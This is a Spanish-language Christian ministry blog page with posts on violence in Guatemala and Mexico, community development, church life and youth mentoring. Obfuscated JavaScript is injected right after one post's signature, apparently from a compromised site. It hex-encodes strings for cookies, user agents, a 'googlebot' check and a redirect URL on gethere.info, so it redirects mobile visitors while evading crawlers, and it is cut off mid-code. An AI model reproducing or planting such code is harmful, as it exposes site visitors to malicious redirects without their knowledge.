Tiempo de llorar

Guatemala es un país donde morir por edad avanzada es un privilegio.  Con 17 muertes violentas en promedio cada día, es cada vez más difícil que un joven llegue a ser anciano: en América Latina, aquellos que tienen entre 14 y 25 años de edad, están en el grupo más vulnerable para morir. Hace unos días, Norma Cruz de la Fundación Sobrevivientes daba unas declaraciones fuertes y difíciles de procesar: desaparecer en Guatemala es casi sinónimo de aparecer muerto, o jamás aparecer.

Al trabajar con líderes y poblaciones vulnerables y en lugares de alto riesgo, sabemos sobre la fragilidad de la vida y experimentamos constantemente la realidad de la muerte alrededor nuestro. Como creyentes tenemos una base de fe y esperanza que nos consuela, pero aún así duele… porque morir por causas prevenibles, o por una carretera que se abre bajo los pies de una pareja caminando, morir por un accidente de tránsito o un diagnóstico médico que llegó demasiado tarde, no es fácil de comprender. Y es que morir en Guatemala viene en formas tan diversas, que no caben en la cabeza… Cuando la vida ha perdido su valor para muchos, y las muertes son una estadística, una noticia más en los medios de comunicación, nosotros no podemos dejar de pensar en cuantos nombres, rostros e historias hay detrás de esos números.
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Y me seréis testigos…

Hace ya varios años que esto sucedió, pero hoy el Señor lo trajo a mi mente… Caminaba junto a la directora de una fundación en las calles de un asentamiento en la ciudad de Guatemala, cuando un muchacho, extremadamente afectado por los efectos de las drogas, se acercó a nosotras con un cuchillo grande en la mano. Ni siquiera tenía fuerzas para sostener el cuchillo. Caminaba tambaleándose, pero su mirada era penetrante. Movía su mano por el peso del cuchillo, pero no dejaba de ser amenazador. La imagen frente a mí me dejó petrificada… Por el contrario, la hermana que iba conmigo, lo llamó por su nombre, y le dijo, “Présteme su cuchillo, se lo guardo acá hasta que usted esté bien.” El muchacho emitió algunos ruidos y le extendió la mano con el cuchillo. Siguió su camino y nosotras seguimos el nuestro.

En ese momento no lo comenté ni le busqué muchas implicaciones sobre espirituales o místicas. Lo vi como parte del ministerio en lugares difíciles, y la confianza que se gana al estar ahí. 
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La esperanza del mundo

 “Ustedes son la luz del mundo. Una ciudad en lo alto de un monte no se puede esconder. Ni se enciende una lámpara para cubrirla con un cajón. Por el contrario, se pone en la repisa para que alumbre a todos los que están en casa. Así alumbre su luz delante de las personas, para que vean sus buenas obras y glorifiquen al Padre que está en el cielo.” (Mat. 5:14-16)

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Ayer, por primera vez en mi vida, presencié una “campal.” En León Guanajuato se le llama así a una lucha entre pandillas, o como en el caso de ayer, a un intercambio de balas y rocas entre pandilleros y policías. Todo inició porque un hombre de la localidad donde está ubicada nuestra iglesia baleó a dos miembros de la pandilla los Calas. A uno lo dejó gravemente herido, al borde de la muerte. Estaba a punto de darle el “tiro de gracia” cuando unos policías llegaron y le quitaron el arma.

No conozco bien las razones del suceso. Cuando yo llegué al lugar ya se habían llevado a los dos heridos, y había muchas opiniones y especulaciones sobre lo ocurrido. Pero sí fui testigo del mayor acto de violencia que hubiera presenciado en vivo en toda mi vida. Los padres y hermanos de los jóvenes heridos apedreaban la casa del hombre que los baleó, tratando de entrar para vengarse de la esposa y los hijos del hombre. De adentro de la vivienda se escuchaban disparos, que los de la casa lanzaban para defenderse de quienes intentaban entrar para lincharlos. Todo esto a pesar de que ya la policía se había llevado al hombre que había herido a los jóvenes. Como muchos otros, yo corrí para refugiarme de los disparos y las piedras.

Al momento llegaron muchas patrullas de la policía, y los oficiales dispersaron a la enfurecida familia de los jóvenes baleados. Pero no hubo detenidos, ni inspección de la casa del hombre baleador, a pesar de que muchos vecinos aseguraban que había armas de grueso calibre en el lugar. Cuando me acerqué a un oficial para indicarle que si no revisaban la vivienda para confiscar las armas la espiral de violencia aumentaría, su respuesta fue: “Eso no nos compete a nosotros, tendrán que poner una denuncia ante la policía federal” (en México hay policías, municipales, estatales y federales). Mientras tanto, los hermanos de los jóvenes heridos no cesaban de gritar a los policías, “Si ustedes no hacen nada, nosotros sí lo haremos, para que después no vengan a quejarse,” y “la violencia reina aquí en la Diez de mayo.” La respuesta de un oficial fue: “Hagan lo que quieran.”

Lo que ocurrió a continuación resultó para mí muy enredado y difícil de entender. En otro lugar de la localidad, cerca de donde había sucedido lo de los jóvenes baleados, policías y miembros de los Calas se enfrascaron en una enorme “batalla” campal, aquellos con balas y laces lacrimógenos, mientras que los Calas con rocas, palos y cuanta cosa pudieron encontrar. Ni siquiera estoy seguro de cómo inició todo. Nuevamente, llegué al lugar después de que lo peor había pasado, con la intención de sacar de ahí a algunos Calas amigos que nuestra iglesia ha tratado de alcanzar para Cristo.

Después que los llevamos a su casa, regresé al lugar para ver si podíamos ayudar de alguna manera. Resultó que los policías habían iniciado el zafarrancho. Sin autorización ni orden de cateo, entraron al hogar de dos de los muchachos, y ahí mismo los golpeaban a ellos y sus familias (incluyendo niños, mujeres y ancianos). Más de cincuenta miembros de la pandilla que observaban todo no se contuvieron, y al grito de “sobre de ellos,” llovieron con piedras y palos a los policías. La razón por la cual estos oficiales que aparentemente no podían entrar en la casa donde había armas sí lo hicieron en los hogares de los Calas la entendí después: el hombre que baleó a los jóvenes había sido anteriormente comandante de la policía. No puedo estar seguro de esto, pero sospecho fuertemente que los policías iniciaron la campal para distraer a los Calas de linchar a la familia del ex comandante baleador.

Sin embargo, esta acción lo que hizo fue enfurecer más a los Calas. Cuando me enteré de que los hermanos de los jóvenes baleados planeaban “madrugar” a la familia del ex comandante para lincharlos, regresé a su casa para advertirle a la madre que se fuera inmediatamente con sus hijos. Tuvimos que sacarla a ella y a una hija suya a escondidas, pues la vigilancia de la familia de los jóvenes baleados era incesante.

En medio de toda esta violencia, yo miraba la gran cantidad de niños que eran testigos de lo ocurrido, aprendiendo desde pequeños la manera “normal” en la que se “resuelven” los conflictos en la Colonia Diez de Mayo. Incluso en una de las casas donde los policías entraron para golpear personas, se estaba llevando a cabo una fiesta infantil. Todos los niños presentes participaron de la campal como lo más lógico que debían hacer. Muchos de ellos miran a los Calas como “héroes” valientes y dignos de imitar.

Ahora bien, para mis hermanos y hermanas que ministran diariamente en contextos de violencia generalizada en Centroamérica y otras latitudes, la experiencia que acabo de narrar es “el pan de todos los días.” Pero para mí constituyó una experiencia nueva y reveladora,  y aunque esta clase de cosas se dan muy seguido en la comunidad donde está nuestra iglesia Camino de Vida, yo nunca había presenciado una tan directamente.

Camino de Vida está ubicada en un contexto caracterizado por la violencia, la drogadicción, el alcoholismo, los embarazos en adolescentes y el suicidio. Hemos contado más de quince pandillas en los alrededores de nuestra congregación. Por lo mismo, hemos tomado el texto de Mateo 5 que aparece arriba como la mayor imagen eclesiológica que define nuestra iglesia. El tercer punto de la visión de Camino de Vida dice que somos un “faro de la luz de Cristo para nuestra comunidad.” Al menos intentamos serlo, mediante ministerios integrales a la niñez, las chicas adolescentes, los pandilleros y en el área de la educación.

Personalmente estoy convencido de la verdad de la expresión que le escuché por primera vez al pastor Bill Hybels: “La iglesia local es la esperanza del mundo”. Estoy convencido de que, por la gracia y el poder de Dios, la Colonia Diez de Mayo llegará a ser un lugar diferente mediante la presencia y obra de Camino de Vida. Y desde luego, esto aplica a todas las iglesias y ministerios que buscan transformar sus comunidades con el poder y la verdad del evangelio de Jesucristo y sus obras concretas de compasión.

Así que desde mi propia trinchera envío mis palabras de admiración y aliento para todos los consiervos que trabajan y sufren para que la salvación de Cristo llegue a todas esas comunidades heridas. ¡Ánimo hermanos! Tengan por seguro que su obra no es en vano.

Mauricio Acuña
Misionero, plantador de Iglesias en Méxicovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Dime, ¿Qué tienes en tu casa?

En Centroamérica, tenemos un acuerdo con el Seminario Teológico Centroamericano (SETECA) para desarrollar el énfasis en Misión Urbana como parte del programa de la Maestría en Ministerio.  Al momento, estamos enseñando dos materias intensivas en dos módulos al año. La semana pasada tuvimos la oportunidad de ser facilitadores en un curso enfocado en Desarrollo Comunitario Basado en Recursos Locales (ABCD por sus siglas en inglés.)

Tuvimos la bendición de contra entre nosotros a Joel Zwier, quien recientemente se retiró del Comité de Alivio de la Iglesia Reformada luego de 28 años de trabajar en el desarrollo de proyectos en Rep. Dominicana y Haití.  Tal como sucede a menudo en los entrenamientos de la Estrategia de Transformación y CTM, buscamos maneras de enlazar la academia con las calles, así que, con luego de conversar con las autoridades del seminario, invitamos al curso a un grupo de líderes en desarrollo comunitarios sin títulos académicos, así como a líderes clave de nuestras comunidades misionales en San Salvador y la Ciudad de Guatemala.

Durante el primer día, la interacción entre los experimentados en la calle, y los estudiantes inscritos formalmente en el programa de maestría, fue distante y cauteloso. Ningún grupo parecía estar dispuesto a conectarse por completo con el otro, y me fui a casa esa noche desilusionado, pensando que esta vez habíamos calculado mal al tratar de enlazar la academia con la calle.

Sin embargo, a la mañana siguiente, entramos en el diálogo centrado alrededor de la historia del profeta Eliseo con una viuda desesperada en 2 Reyes 4:1-7. En medio de un gran déficit, Eliseo le hace a la mujer una pregunta hermosa basada en sus recursos locales:  ”Dime, ¿Qué tienes en tu casa?” Un increíble diálogo se produjo entre aquellos con experiencia desde las calles, compartiendo asombrosos puntos de vista extraídos desde las profundidades de su experiencia, y los estudiantes de maestría contribuyeron con profundas reflexiones teológicas. En el proceso de desempolvar una historia del Antiguo Testamento, cada grupo retó e inspiró al otro.  Encontramos nuestro “enlace” y una gran aventura educacional se desplegó.

Además de la excelente facilitación liderada por Joel Zwier, el curso también incluyó salidas diarias al vecindario alrededor del Seminario, la visita de la Directora de desarrollo comunitario del sector, por parte de la Municipalidad de la Ciudad, y la visita a una ONG multifacética que está en proceso de relanzar completamente su estrategia de desarrollo comunitario.  Un elemento que destacó el curso, sucedió en el panel de discusión con los “actores” principales del documental “Reparando“:  Pastor “Shorty” Luna, Tita Evertz y Doña Fina (la señora de las muñecas).

En el corazón de lo que exploramos juntos en el curso, estaba la profunda verdad de que el trabajo de desarrollo comunitario que se enfoca en las necesidades y déficit, ha tenido un profundo efecto en la manera en que vemos a la gente que hemos sido llamados a servir. A menudo lleva a un primer paso de juzgar, en vez de bendecir. Aún más, en algunos casos, terminamos como conquistadores, con una percepción de un mandato espiritual a “reparar lo que está roto.” Vemos a la casa de la viuda desesperada en una comunidad marginal urbana, y vemos el vaso medio vacío en lugar de aprender a guiar el proceso con la bella pregunta basada en recursos locales que hizo Eliseo: ”Dime, ¿Qué tienes en tu casa?”

Desafortunadamente, mucho del trabajo de desarrollo aún se realiza a través del modelo con deficiencias, empezando con cosas como “Reconocimiento de las necesidades de la comunidad.” Así, el primer acercamiento que se tiene hacia el vecindario es de bendición propia.  Vemos solo las deficiencias en los lugares difíciles en lugar de ver y celebrar los recursos locales del vecindario y la comunidad, los cuales son resultado del Espíritu, que ya está trabajando en ese lugar – El Espíritu que está muy por delante de nosotros, trabajando sin nuestra ayuda. Cuando creemos que necesitamos llevarle el Espíritu Santo a los perdidos, nos convertimos en los héroes de la historia – olvidando que es la historia de Dios, no la nuestra.

Aunque Joel Zwier y yo quisiéramos considerarnos maestros expertos en el tema de ABCD que se impartió la semana pasadaen la Ciudad de Guatemala, nuestro impacto colectivo palideció en comparación a los pocos minutos  que Doña Fina (La señora de las muñecas, del basurero de la Ciudad) pasó con nosotros en la clase. Vea este video de dos minutos de la “Profesora María” y entenderá exactamente de qué estoy hablando:

 

 Dime, ¿Qué tienes en tu casa?

Joel Van Dyke
Director para América Latina

¡Eso es iglesia!

En nuestro país, cuando recibimos una lluvia repentina y de corta duración decimos: “Es un chubasco.” La definición de la palabra es: “Lluvia fuerte, repentina y de corta duración, acompañada de mucho viento.” Tomando la definición como punto de partida, pienso: en dominicana tenemos muchos cristianos tipo chubascos. ¿Cómo? Bueno, se que puede causar molestias, pero me aventuro. Creo que los cristianos en mi país nos hemos acostumbrado a lanzar ráfagas de aguas, repentinas, cuyo efecto es corto y hacemos mucho ruido.

Mientras que la sociedad nuestra se debilita cada ves más por toda suerte de injusticias, corrupción, falta de educación, servicio de salud deficiente, impunidades, inseguridad y una lista de tantos otros males. Una comunidad cristiana que hace tantos ruidos, debería haber logrado cierto impacto en las masas irredentas. Pero no. Nuestra sociedad acumula deudas sociales terribles cuya ancianidad es espantosa.

Ante todo ello, nosotros, sí nosotros, nos ensimismamos en nuestro cristianismo, a veces muy cómodo. Nos hemos tomado a Cristo sólo para nosotros. Hemos olvidado que la gracia es para los que están afuera. Desde dentro nos estamos gastando y la sociedad dominicana languidece poco a poco. Quizás es que nos convertimos en activistas, y no nos dimos cuenta. Eso si, actividades tenemos y muchas. Hacemos mucho ruido con nuestas actividades. Si esa fuera una medida necesaria para alcanzar el cielo, ya nos pasamos.

Mientras, aquí en la tierra de Duarte la gente no siente cambios en sus vidas como producto de ello. Parece que no somos relevantes con ese estilo. ¿Alguien tiene algo mejor que ofrecer? Oh, vayamos a los evangelios. Allí está Jesús. El camina entre gente pobre, sucia, enfermos, esclavos de toda suerte de vicios y estructuras sociales. El habla contundente pero no hace mucho ruido. El cuestiona a la clase gobernante. El hace justicia a mujeres sin nombre y rechaza a los religiosos de turno. Dijo: “El reino de los cielos se ha acercado.” La gente que escuchó, vio un nuevo amanecer.

12 tipos cuyas vidas hubiesen pasado inadvertidas fueron radicalmente cambiados. Ellos se fueron por ese camino. Llegaron a Hechos (el libro). Allí están trastornándolo todo. Son como hormigas. No se cansan. Los apresan y se hacen más fuertes. Los matan y la tierra pare más de ellos. Se hicieron incontrolables. ¿Cómo fue que llegamos aquí, a esto? ¿Dónde fue que aguamos la cosa? En algún momento nos perdimos. Luego de saltar barreras, de decir la verdad, de ofrendar nuestras vidas…nos perdimos. De esa forma, la sustancia de nuestra cristiandad se diluyó en un punto caprichoso. Nos hicimos sospechosos uno del otro. Preferimos la vanidad de nuestros encuentros y la fragancia de nuestra adoración. Levantamos nuestros propios lugares altos. Insípidos. Ellos (los de a pié) dicen que no le sabemos a nada. Están a punto de escupir nuestras confesiones de sus bocas. Han esperado mucho tiempo para ver a Jesús en nosotros. Pero, ¿habrá esperanza? Sólo cuando nuestro cristianismo se convierta en una lluvia persistente de la gracia de Dios bañando nuestra geografía y trayendo liberación a tantas estructuras podridas.

Cuando nuestro estilo de vida desafíe tanta monotonía. Cuando al acercarnos se acerque el Reino de Dios a la gente. Cuando sembremos paz en una sociedad atomizada por los conflictos. Cuando oremos una vieja oración como la de Mateo 6:5-13. Cuando sepamos abrazar, unir, construir puentes, restaurar nuestras familias. Cuando dejemos nuestras lágrimas con él que sufre. Cuando alcemos la voz por quienes ya no tienen fuerzas. Cuando la gente vea a Jesús en nosotros. Entonces ellos sonreirán y juntos canteremos un nuevo canto. Entonces escucharemos el sonido de la lluvia (la gracia de Dios) que no quiere parar. Habrá algún estruendo una que otra vez y la lluvia seguirá cayendo. Estaremos danzando en las calles. Y entonces, alguien dirá: “Eso es iglesia!”

¿La diversidad como una bendición?

Todos los seres humanos tenemos la  habilidad –y privilegio–  de relacionarnos. Para algunos es sencillo; para otros, toma tiempo. Ante  la habilidad de interactuar, también  existe  la  complejidad  debido  a la diversidad de personalidades, de caracteres, intereses, gustos, trasfondos, etc. Así, las relaciones que  se  sostienen  en  el  “ministerio”  de la iglesia no  están libres  de  tensiones, altibajos y más; pero a la vez son uno de los mejores escenarios para madurar.  Este espacio comparte una realidad diaria en el ser y hacer Iglesia. Por la gracia del Señor,  tenemos  una  guía  que  nos  orienta.  Dice  así: “… (procuremos) siempre humildes y amables, pacientes, tolerantes unos con otros en amor, esforzarnos por mantener  la unidad del Espíritu mediante el vínculo de  la paz” – Efesios 4:2-3.

Es sorprendente y maravilloso leer cómo  Pablo “ruega” que sus  lectores  –judíos  y gentiles creyentes– vivan consecuentemente como pueblo de Dios, a pesar de sus complejas y naturales diferencias. Sin embargo en Cristo, y siguiendo el ejemplo de Dios mencionado en 1:3-14, es posible vivir en unidad gracias al elemento unificador: su Espíritu.  Creo, en primer lugar, que es necesario aceptar  la diversidad como una bendición para aprender de los demás. ¿Qué sería de nosotros si  fuésemos iguales? ¿Dónde estaría lo fascinante y formativo si tuviésemos el mismo nombre, el mismo apellido, la misma  habilidad, la misma debilidad, el mismo gozo, la misma adversidad? La diversidad no  amenaza; por el contrario, enriquece. Porque  puedo  crecer aprendiendo a ser como el otro, y viceversa. En la relación ministerial, el proceso es de mutua transformación: soy transformado en la medida que el otro lo es.
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Justicia restaurativa

Cuando éramos niños, la explicación era más sencilla: si tomaste un lápiz de alguien, lo devuelves. Justicia retributiva.

Era un concepto sencillo, pero con el pasar de los años, la idea de justicia se fue haciendo más compleja ante nuestras diferentes realidades. Apareció el tema del castigo… No poder ver televisión, no poder hablar por teléfono, era entendible ante la desobediencia. Antes seguramente no me hubiera hecho sentido que alguien estuviera en la cárcel por haber robado, pero con los años, el concepto de castigo y justicia punitiva se hicieron más comunes. Pero, a pesar de que la Biblia habla de ambos casos, no se limita solo a ellos… también nos abre los ojos a una tercera vía: la justicia restaurativa. Y es que la justicia viene en diferentes formas, y éstas no son excluyentes la una de la otra. La justicia restaurativa es tal vez la menos conocida, y la que me ha tomado más tiempo de procesar, de digerir… pero en un país donde los índices de casos resueltos por el sistema son el 2% de los que se procesan, realmente es esperanzador poder ver la justicia con nuevos ojos.
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De ser objetos del ministerio a colaboradores en el ministerio

Publicado originalmente por Sarah Van Stempvoort, CRC Communications

 

Jorge es un joven de la Iglesia Cristiana Reformada de Honduras (ICRH). El es presidente de su grupo de jóvenes y tiene una preocupación profunda por la iglesia. Él es alguien que muestra potencial por pensar “fuera de la caja” y voluntad para pararse y ver a donde Dios lo llevará.  Hay otros “Jorges” en ICRH – jóvenes comprometidos dedicados a Dios y a la iglesia. Los jóvenes tienen un rol visible en la adoración en muchas Iglesias ICRH, pero una visión está emergiendo para tomar un paso más allá. “Deseamos involucrar a jóvenes en el ministerio,” dice  Caspar Geistefer, un misionero de Misiones Mundiales Cristianas Reformadas (MMCR) en Honduras. “En lugar de decir, ‘ustedes son objetos del ministerio,’ nosotros estamos diciendo ‘ustedes son colaboradores en el ministerio.’”

Con ese ingrediente clave en mente, MMCR está colaborando con la Asociación por una Sociedad Justa (ASJ) y Kim representante de la ICRH enseñando su clase para fortalecer a los jóvenes a llegar a sus compañeros. Los trabajadores de ASJ Kurt y Joanne Verbeek descubrieron hace pocos años el programa IMPACTO, un nuevo programa del ministerio juvenil Nuevo Horizonte en Rumania. Les gustó el enfoque multifacético de tutoría juvenil.  IMPACTO usa relaciones de igual a igual y técnicas de aprendizaje de manos para discipular a los jóvenes a seguir a Dios, servirle al servir a sus comunidades, y aprender habilidades prácticas para llegar a ser líderes cristianos efectivos. Conociendo la gran población juvenil de Honduras y las pobres oportunidades económicas, los Verbeeks y sus colegas se convencieron que un programa ministerial similar sería acertadamente adecuado para Honduras.
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¿Estuviste en la iglesia esta semana?

El pasaje de Hechos 4:32-37  inicia haciendo énfasis en que todos los creyentes eran de un solo sentir y pensar. Nadie consideraba suya ninguna de sus posesiones, sino que las compartían.

¡Que impresionante es comprender la vida de la Iglesia en los primeros cristianos y de cómo ellos interactuaban a fin de alcanzar el bien común, sin ser comunistas, y se ayudaban unos a otros sin caer en el paternalismo!

Este estilo de vida era tan natural y no procedía de ningún estudio socioeconómico o sistema económico procedente de postulados de grandes sociólogos o algo parecido, la Iglesia era establecida a basa de relaciones normales de igualdad y de armonía, es lo más natural en cuanto al llevarse bien y a interesarse en otros sin fines políticos o algo parecido.

Al leer detenidamente el libro de los Hechos, nos damos cuenta de que se daba una vida muy interesada en los otros, muy interesada en que los demás tuvieran lo necesario y que además el amor de Cristo se manifestara de manera real y vivencial entre la comunidad que ellos generaban. Hechos 2:41-47


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137 escalones

Para algunos de nosotros que hemos visitado este asentamiento de la ciudad de Guatemala en alguna ocasión, o quienes suben y bajan a diario el acceso norte a la Escuelita Vidas Plenas en La Limonada, las gradas son casi una tortura.  Una cuesta pronunciada que te mantiene con la respiración entrecortada desde los primeros escalones… Pero en una oportunidad, alguien dió cada paso de este camino mientras conversaba con Dios: orando con los ojos abiertos.

Originalmente escrito hace ya algunos años, este poema captura lo que muchos otros visitantes de este ministerio han visto también como parte de la acción de Dios en los lugares difíciles.


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